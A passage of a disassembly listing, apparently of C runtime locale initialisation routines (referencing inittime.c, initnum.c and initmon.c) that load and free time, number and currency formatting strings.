edx, [ebp+var_8] add edx, [ebp+arg_18] mov [ebp+var_8], edx loc_42E771: ; CODE XREF: sub_42E660:loc_42E73Aj cmp [ebp+arg_0], 1 jnz short loc_42E7B1 mov eax, [ebp+var_8] mov dword_451DE4, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_451DE8, ecx mov edx, [ebp+arg_8] mov dword_451DE0, edx jmp loc_42E854 ; --------------------------------------------------------------------------- loc_42E7B1: ; CODE XREF: sub_42E660+115j mov eax, [ebp+var_8] mov dword_451DF4, eax mov ecx, [ebp+arg_1C] imul ecx, 3Ch mov edx, [ebp+arg_20] add edx, ecx imul edx, 3Ch mov eax, [ebp+arg_24] add eax, edx imul eax, 3E8h mov ecx, [ebp+arg_28] add ecx, eax mov dword_451DF8, ecx mov edx, dword_451D50 imul edx, 3E8h mov eax, dword_451DF8 add eax, edx mov dword_451DF8, eax cmp dword_451DF8, 0 jge short loc_42E821 mov ecx, dword_451DF8 add ecx, 5265C00h mov dword_451DF8, ecx mov edx, dword_451DF4 sub edx, 1 mov dword_451DF4, edx jmp short loc_42E84B ; --------------------------------------------------------------------------- loc_42E821: ; CODE XREF: sub_42E660+19Cj cmp dword_451DF8, 5265C00h jl short loc_42E84B mov eax, dword_451DF8 sub eax, 5265C00h mov dword_451DF8, eax mov ecx, dword_451DF4 add ecx, 1 mov dword_451DF4, ecx loc_42E84B: ; CODE XREF: sub_42E660+1BFj ; sub_42E660+1CBj mov edx, [ebp+arg_8] mov dword_451DF0, edx loc_42E854: ; CODE XREF: sub_42E660+14Cj mov esp, ebp pop ebp retn sub_42E660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E860 proc near ; DATA XREF: .nsp0:00451BC4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4EF980, 0 jz loc_42E901 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_419300 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42E89C mov eax, 1 jmp loc_42E937 ; --------------------------------------------------------------------------- loc_42E89C: ; CODE XREF: sub_42E860+30j mov eax, [ebp+var_4] push eax call sub_42E940 add esp, 4 test eax, eax jz short loc_42E8CD mov ecx, [ebp+var_4] push ecx call sub_42EED0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_419980 add esp, 8 mov eax, 1 jmp short loc_42E937 ; --------------------------------------------------------------------------- loc_42E8CD: ; CODE XREF: sub_42E860+4Aj mov eax, [ebp+var_4] mov off_4525E8, eax mov ecx, dword_4EFB94 push ecx call sub_42EED0 add esp, 4 push 2 mov edx, dword_4EFB94 push edx call sub_419980 add esp, 8 mov eax, [ebp+var_4] mov dword_4EFB94, eax xor eax, eax jmp short loc_42E937 ; --------------------------------------------------------------------------- loc_42E901: ; CODE XREF: sub_42E860+Bj mov off_4525E8, offset off_4525F0 mov ecx, dword_4EFB94 push ecx call sub_42EED0 add esp, 4 push 2 mov edx, dword_4EFB94 push edx call sub_419980 add esp, 8 mov dword_4EFB94, 0 xor eax, eax loc_42E937: ; CODE XREF: sub_42E860+37j ; sub_42E860+6Bj ... mov esp, ebp pop ebp retn sub_42E860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E940 proc near ; CODE XREF: sub_42E860+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, word_4EFBCE mov [ebp+var_4], eax xor ecx, ecx mov cx, word_4EFBD0 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_42E972 or eax, 0FFFFFFFFh jmp loc_42EECB ; --------------------------------------------------------------------------- loc_42E972: ; CODE XREF: sub_42E940+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_42EECB: ; CODE XREF: sub_42E940+2Dj mov esp, ebp pop ebp retn sub_42E940 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EED0 proc near ; CODE XREF: sub_42E860+50p ; sub_42E860+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42EEDE jmp loc_42F1D9 ; --------------------------------------------------------------------------- loc_42EEDE: ; CODE XREF: sub_42EED0+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_419980 add esp, 8 loc_42F1D9: ; CODE XREF: sub_42EED0+9j pop ebp retn sub_42EED0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F1E0 proc near ; DATA XREF: .nsp0:00451BB8o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4EFBCA mov [ebp+var_4], eax cmp dword_4EF97C, 0 jz loc_42F35A push offset dword_4EFB98 push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_4338F0 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4EFB9C push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4EFBA0 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, dword_4EFBA0 push edx call sub_42F490 add esp, 4 cmp [ebp+var_8], 0 jz short loc_42F2C9 push 2 mov eax, dword_4EFB98 push eax call sub_419980 add esp, 8 push 2 mov ecx, dword_4EFB9C push ecx call sub_419980 add esp, 8 push 2 mov edx, dword_4EFBA0 push edx call sub_419980 add esp, 8 mov dword_4EFB98, 0 mov dword_4EFB9C, 0 mov dword_4EFBA0, 0 or eax, 0FFFFFFFFh jmp loc_42F482 ; --------------------------------------------------------------------------- loc_42F2C9: ; CODE XREF: sub_42F1E0+8Fj mov eax, off_4526D8 cmp dword ptr [eax], offset dword_4526A0 jz short loc_42F310 push 2 mov ecx, off_4526D8 mov edx, [ecx] push edx call sub_419980 add esp, 8 push 2 mov eax, off_4526D8 mov ecx, [eax+4] push ecx call sub_419980 add esp, 8 push 2 mov edx, off_4526D8 mov eax, [edx+8] push eax call sub_419980 add esp, 8 loc_42F310: ; CODE XREF: sub_42F1E0+F4j mov ecx, off_4526D8 mov edx, dword_4EFB98 mov [ecx], edx mov eax, off_4526D8 mov ecx, dword_4EFB9C mov [eax+4], ecx mov edx, off_4526D8 mov eax, dword_4EFBA0 mov [edx+8], eax mov ecx, off_4526D8 mov edx, [ecx] mov al, [edx] mov byte_4516AC, al mov dword_4516B0, 1 xor eax, eax jmp loc_42F482 ; --------------------------------------------------------------------------- loc_42F35A: ; CODE XREF: sub_42F1E0+1Fj push 2 mov ecx, dword_4EFB98 push ecx call sub_419980 add esp, 8 push 2 mov edx, dword_4EFB9C push edx call sub_419980 add esp, 8 push 2 mov eax, dword_4EFBA0 push eax call sub_419980 add esp, 8 mov dword_4EFB98, 0 mov dword_4EFB9C, 0 mov dword_4EFBA0, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_418EF0 add esp, 10h mov ecx, off_4526D8 mov [ecx], eax mov edx, off_4526D8 cmp dword ptr [edx], 0 jnz short loc_42F3DB or eax, 0FFFFFFFFh jmp loc_42F482 ; --------------------------------------------------------------------------- loc_42F3DB: ; CODE XREF: sub_42F1E0+1F1j push offset a__3 ; "." mov eax, off_4526D8 mov ecx, [eax] push ecx call sub_41C300 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_418EF0 add esp, 10h mov edx, off_4526D8 mov [edx+4], eax mov eax, off_4526D8 cmp dword ptr [eax+4], 0 jnz short loc_42F41F or eax, 0FFFFFFFFh jmp short loc_42F482 ; --------------------------------------------------------------------------- loc_42F41F: ; CODE XREF: sub_42F1E0+238j mov ecx, off_4526D8 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_418EF0 add esp, 10h mov ecx, off_4526D8 mov [ecx+8], eax mov edx, off_4526D8 cmp dword ptr [edx+8], 0 jnz short loc_42F45B or eax, 0FFFFFFFFh jmp short loc_42F482 ; --------------------------------------------------------------------------- loc_42F45B: ; CODE XREF: sub_42F1E0+274j mov eax, off_4526D8 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, off_4526D8 mov eax, [edx] mov cl, [eax] mov byte_4516AC, cl mov dword_4516B0, 1 xor eax, eax loc_42F482: ; CODE XREF: sub_42F1E0+E4j ; sub_42F1E0+175j ... mov esp, ebp pop ebp retn sub_42F1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F490 proc near ; CODE XREF: sub_42F1E0+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42F494: ; CODE XREF: sub_42F490:loc_42F507j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42F509 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42F4CD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42F4CD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42F507 ; --------------------------------------------------------------------------- loc_42F4CD: ; CODE XREF: sub_42F490+17j ; sub_42F490+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42F4FE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42F4DE: ; CODE XREF: sub_42F490+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42F4DE jmp short loc_42F507 ; --------------------------------------------------------------------------- loc_42F4FE: ; CODE XREF: sub_42F490+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42F507: ; CODE XREF: sub_42F490+3Bj ; sub_42F490+6Cj jmp short loc_42F494 ; --------------------------------------------------------------------------- loc_42F509: ; CODE XREF: sub_42F490+Cj mov esp, ebp pop ebp retn sub_42F490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F510 proc near ; DATA XREF: .nsp0:00451BACo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4EF978, 0 jz loc_42F5DC push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_419300 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42F549 mov eax, 1 jmp loc_42F63C ; --------------------------------------------------------------------------- loc_42F549: ; CODE XREF: sub_42F510+2Dj mov eax, [ebp+var_4] push eax call sub_42F640 add esp, 4 test eax, eax jz short loc_42F57D mov ecx, [ebp+var_4] push ecx call sub_42F8D0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_419980 add esp, 8 mov eax, 1 jmp loc_42F63C ; --------------------------------------------------------------------------- loc_42F57D: ; CODE XREF: sub_42F510+47j mov eax, [ebp+var_4] mov ecx, off_4526D8 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, off_4526D8 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, off_4526D8 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov off_4526D8, eax mov ecx, dword_4EFBA4 push ecx call sub_42F8D0 add esp, 4 push 2 mov edx, dword_4EFBA4 push edx call sub_419980 add esp, 8 mov eax, [ebp+var_4] mov dword_4EFBA4, eax xor eax, eax jmp short loc_42F63C ; --------------------------------------------------------------------------- loc_42F5DC: ; CODE XREF: sub_42F510+Bj mov ecx, off_4526D8 mov edx, [ecx] mov off_4526A8, edx mov eax, off_4526D8 mov ecx, [eax+4] mov off_4526AC, ecx mov edx, off_4526D8 mov eax, [edx+8] mov off_4526B0, eax mov off_4526D8, offset off_4526A8 mov ecx, dword_4EFBA4 push ecx call sub_42F8D0 add esp, 4 push 2 mov edx, dword_4EFBA4 push edx call sub_419980 add esp, 8 mov dword_4EFBA4, 0 xor eax, eax loc_42F63C: ; CODE XREF: sub_42F510+34j ; sub_42F510+68j ... mov esp, ebp pop ebp retn sub_42F510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F640 proc near ; CODE XREF: sub_42F510+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4EFBC4 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_42F666 or eax, 0FFFFFFFFh jmp loc_42F849 ; --------------------------------------------------------------------------- loc_42F666: ; CODE XREF: sub_42F640+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_42F850 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_4338F0 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] 